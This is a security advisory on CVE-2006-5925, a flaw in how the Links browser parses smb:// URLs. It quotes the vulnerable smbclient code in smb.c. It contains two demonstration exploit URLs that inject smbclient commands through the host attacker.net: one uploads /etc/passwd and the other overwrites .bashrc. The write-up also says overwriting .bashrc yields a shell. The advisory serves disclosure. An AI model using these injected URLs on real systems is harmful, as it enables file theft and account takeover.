SecurityTracker Alert ID: 1017233 |

SecurityTracker URL: http://securitytracker.com/id/1017233

|
CVE Reference:
CVE-2006-5925
(Links to External Site)
|
Updated: Jun 2 2008
|
Original Entry Date: Nov 15 2006
|
Impact:
Disclosure of system information, Disclosure of user information, Modification of user information
|
Exploit Included: Yes
|
Version(s): 1.00pre18 and prior versions (tested on 1.00pre12 on Ubuntu)
|
Description:
A vulnerability was reported in Links. A remote user can cause arbitrary smbclient commands to be executed.
The smbclient code does not properly parse SMB URLs. A remote user can create HTML with a specially crafted URL that, when loaded by the target user, will upload files to or download files from the target user's system.
Some demonstration exploit URLs are provided:
smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit;
smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit;
Teemu Salmela reported this vulnerability.
[Editor's note: From code review, it appears that the Twibright Labs Links implementation version 2.1pre24 is also affected. However, this has not been confirmed.]
|
Impact:
A remote user can obtain files from or create files on the target user's system.
|
Solution:
No solution was available at the time of this entry.

Links smbclient command execution
-----------------------------------------------------------------------------
There is a flaw in the Links web browser, that allows malicious web sites to
execute smbclient commands on the victim's machine. This flaw makes it
possible to read any file from the victim system (any file that the user
running links has read access), or to upload any file to the victim system
(any file that the user running links can create/overwrite). The attacker
could, for example, upload ~/.bashrc to gain shell access.
Version numbers:
-----------------------------------------------------------------------------
I tested this on Ubuntu 6.06 LTS and Links 1.00pre12. Smbclient must also
be installed.
Vulnerable code:
-----------------------------------------------------------------------------
smb_func() in smb.c:
...
143 if (*share) {
144 if (!*dir || dir[strlen(dir) - 1] == '/'
|| dir[strlen(dir) - 1] == '\\') {
145 if (dir) {
146 v[n++] = "-D";
147 v[n++] = dir;
148 }
149 v[n++] = "-c";
150 v[n++] = "ls";
151 } else {
152 unsigned char *ss;
153 unsigned char *s = stracpy("get
\"");
'dir' is the directory part of the smb://.. url:
154 add_to_strn(&s, dir);
155 add_to_strn(&s, "\" -");
156 while ((ss = strchr(s, '/')))
*ss = '\\';
157 v[n++] = "-c";
158 v[n++] = s;
159 }
160 }
161 v[n++] = NULL;
smbclient is executed:
162 execvp("smbclient", (char **)v);
163 fprintf(stderr, "smbclient not found in $PATH");
164 _exit(1);
...
